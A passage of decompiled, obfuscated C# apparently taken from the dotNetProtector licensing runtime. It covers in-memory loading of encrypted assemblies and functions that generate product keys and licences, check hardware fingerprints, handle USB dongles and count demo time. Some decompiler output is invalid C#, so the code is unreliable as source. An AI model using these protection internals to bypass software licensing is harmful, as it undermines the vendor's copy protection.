byte* numPtr = (byte*) \u0082\u00BB.\u00B7(_param1.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
_param1 = ptr;
|
||||
int num1 = Marshal.ReadInt32(ptr);
|
||||
int length1 = Marshal.ReadInt32(_param1, 4);
|
||||
int length2 = Marshal.ReadInt32(_param1, 8);
|
||||
IntPtr source1 = (IntPtr) (void*) (numPtr + 12);
|
||||
IntPtr source2 = (IntPtr) (void*) (numPtr + length1 + 12);
|
||||
byte[] numArray = new byte[length1];
|
||||
byte[] destination = numArray;
|
||||
int length3 = length1;
|
||||
Marshal.Copy(source1, destination, 0, length3);
|
||||
Assembly assembly;
|
||||
if (length2 != 0)
|
||||
{
|
||||
byte[] rawSymbolStore = new byte[length2];
|
||||
Marshal.Copy(source2, numArray, 0, length2);
|
||||
assembly = Assembly.Load(numArray, rawSymbolStore);
|
||||
}
|
||||
else
|
||||
assembly = Assembly.Load(numArray);
|
||||
Marshal.FreeCoTaskMem(_param1);
|
||||
if ((object) assembly != null && num1 >= 0)
|
||||
{
|
||||
Type[] types = assembly.GetTypes();
|
||||
IntPtr num2 = types[types.Length - 1].TypeHandle.Value;
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(assembly.GetLoadedModules()[0]).ToPointer(), num2.ToPointer(), num1, id);
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
internal static unsafe void Î(Assembly _param0)
|
||||
{
|
||||
string assemblyString = PvLogiciels.dotNetProtector.Runtime.GetAssemblyString(_param0);
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (assemblyString != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(assemblyString);
|
||||
\u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer(), (void*) 0, (int*) 0, (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (!(ptr != IntPtr.Zero))
|
||||
return;
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
}
|
||||
|
||||
public virtual Assembly GetEntryAssembly()
|
||||
{
|
||||
if ((object) \u0081ê.\u0081\u0099 != null)
|
||||
return \u0081ê.\u0081\u0099;
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
if ((object) entryAssembly != null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
return entryAssembly;
|
||||
}
|
||||
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
||||
if (executingAssembly.FullName.StartsWith("PvLogiciels.dotNetProtector.Runtime"))
|
||||
return (Assembly) null;
|
||||
\u0081ê.\u0081\u0099 = executingAssembly;
|
||||
return executingAssembly;
|
||||
}
|
||||
|
||||
public static IRuntime InitRuntime()
|
||||
{
|
||||
RuntimeInterop runtimeInterop = new RuntimeInterop();
|
||||
if (AppDomain.CurrentDomain.IsDefaultAppDomain())
|
||||
{
|
||||
AppDomain.CurrentDomain.ProcessExit += new EventHandler(RuntimeInterop.AppDomain_ProcessExit);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
AppDomain.CurrentDomain.DomainUnload += new EventHandler(new \u0081Þ(AppDomain.CurrentDomain, AppDomain.CurrentDomain.Id).\u0081\u0084);
|
||||
return (IRuntime) runtimeInterop;
|
||||
}
|
||||
|
||||
public static void AppDomain_ProcessExit(object sender, EventArgs e)
|
||||
{
|
||||
GC.Collect();
|
||||
GC.WaitForPendingFinalizers();
|
||||
\u0082\u00BB.\u0081\u0086();
|
||||
}
|
||||
|
||||
public virtual void NGenInitRuntime()
|
||||
{
|
||||
}
|
||||
|
||||
public virtual ulong GetComputerHash() => \u0082\u00BB.\u0081\u008C();
|
||||
|
||||
public virtual long GetMacAddress() => \u0082\u00BB.Ç();
|
||||
|
||||
public virtual ulong GetBiosHash() => \u0082\u00BB.Ï();
|
||||
|
||||
public virtual int UnloadDomain() => \u0082\u00BB.\u0095(AppDomain.CurrentDomain.Id);
|
||||
|
||||
public virtual unsafe int InitModule(Type pReserved1, IntPtr pReserved2, string Reserved3)
|
||||
{
|
||||
IntPtr ptr = IntPtr.Zero;
|
||||
if (Reserved3 != (string) null)
|
||||
ptr = Marshal.StringToCoTaskMemAnsi(Reserved3);
|
||||
IntPtr num1 = pReserved1.TypeHandle.Value;
|
||||
int num2 = \u0082\u00BB.\u0081\u0081((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), num1.ToPointer(), (int*) pReserved2.ToPointer(), (sbyte*) ptr.ToPointer(), AppDomain.CurrentDomain.Id);
|
||||
if (ptr != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (num2 == 2)
|
||||
{
|
||||
this.\u0081\u00BD = pReserved1.Assembly;
|
||||
this.\u0082\u00B4 = pReserved1.Assembly.GetName().Name;
|
||||
int length = \u0082\u00BB.\u0081\u009B();
|
||||
if (length != 0)
|
||||
{
|
||||
this.ò = new Assembly[length];
|
||||
int index = 0;
|
||||
if (0 < length)
|
||||
{
|
||||
do
|
||||
{
|
||||
this.ò[index] = (Assembly) null;
|
||||
++index;
|
||||
}
|
||||
while (index < length);
|
||||
}
|
||||
}
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe string DesignLicenseKey(Type pReserved1, string pReserved2)
|
||||
{
|
||||
IntPtr ptr = Marshal.AllocCoTaskMem(IntPtr.Size);
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(pReserved2);
|
||||
\u0082\u00BB.Ý((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), (sbyte**) ptr.ToPointer());
|
||||
IntPtr num = Marshal.ReadIntPtr(ptr);
|
||||
string str = (string) null;
|
||||
if (num != IntPtr.Zero)
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(num);
|
||||
Marshal.FreeHGlobal(num);
|
||||
str = stringAnsi;
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (!(coTaskMemAnsi != IntPtr.Zero))
|
||||
return str;
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return str;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
|
||||
{
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
|
||||
int num1 = usb ? 1 : 0;
|
||||
int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
|
||||
if (coTaskMemAnsi != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return num2 != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID,
|
||||
ulong data)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint licenseId;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return licenseId;
|
||||
}
|
||||
|
||||
public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint num;
|
||||
ulong productkeyData;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return productkeyData;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr DecodeActivationString(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr pActivationString)
|
||||
{
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* config;
|
||||
int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe string GetThumbPrint(Assembly pReserved)
|
||||
{
|
||||
\u0081Ï ï;
|
||||
if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int num = 0;
|
||||
do
|
||||
{
|
||||
// ISSUE: cast to a reference type
|
||||
// ISSUE: explicit reference operation
|
||||
stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
|
||||
++num;
|
||||
}
|
||||
while (num < 20);
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
|
||||
{
|
||||
uint length;
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
byte[] destination = new byte[(int) length];
|
||||
IntPtr num = (IntPtr) (void*) numPtr;
|
||||
Marshal.Copy(num, destination, 0, (int) length);
|
||||
Marshal.FreeCoTaskMem(num);
|
||||
return destination;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* usbConfig;
|
||||
int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly ResolveAssembly(string Name)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
try
|
||||
{
|
||||
AssemblyName assemblyName = new AssemblyName(Name);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
return (Assembly) null;
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Name);
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
|
||||
if (index >= 0)
|
||||
{
|
||||
Assembly[] ò = this.ò;
|
||||
if (index < ò.Length)
|
||||
{
|
||||
if ((object) ò[index] == null)
|
||||
this.ò[index] = this.\u0081â(num3);
|
||||
gcHandle.Free();
|
||||
return this.ò[index];
|
||||
}
|
||||
}
|
||||
gcHandle.Free();
|
||||
return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
|
||||
}
|
||||
|
||||
public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly embLockAssembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return embLockAssembly;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly lockAssemblyName = (Assembly) null;
|
||||
try
|
||||
{
|
||||
lockAssemblyName = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return lockAssemblyName;
|
||||
}
|
||||
|
||||
public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
|
||||
{
|
||||
byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) ptr1 == IntPtr.Zero)
|
||||
return (ArrayList) null;
|
||||
IntPtr ptr2 = (IntPtr) (void*) ptr1;
|
||||
ArrayList assemblyServices = new ArrayList();
|
||||
if (*ptr1 != (byte) 0)
|
||||
{
|
||||
do
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
|
||||
assemblyServices.Add((object) stringAnsi);
|
||||
ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
|
||||
}
|
||||
while (*ptr1 != (byte) 0);
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr2);
|
||||
return assemblyServices;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsDemo(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int DaysLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe int MinutesLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
|
||||
|
||||
public virtual void UnloadAppdomain(AppDomain domain)
|
||||
{
|
||||
int id = domain.Id;
|
||||
AppDomain.Unload(domain);
|
||||
\u0082\u00BB.\u0095(id);
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
|
||||
|
||||
public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
|
||||
|
||||
public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
|
||||
{
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
|
||||
IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
|
||||
gcHandle.Free();
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
|
||||
|
||||
public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
|
||||
|
||||
public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
|
||||
{
|
||||
GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
|
||||
GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
|
||||
GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
|
||||
IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
|
||||
\u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
|
||||
gcHandle1.Free();
|
||||
gcHandle2.Free();
|
||||
gcHandle3.Free();
|
||||
}
|
||||
}
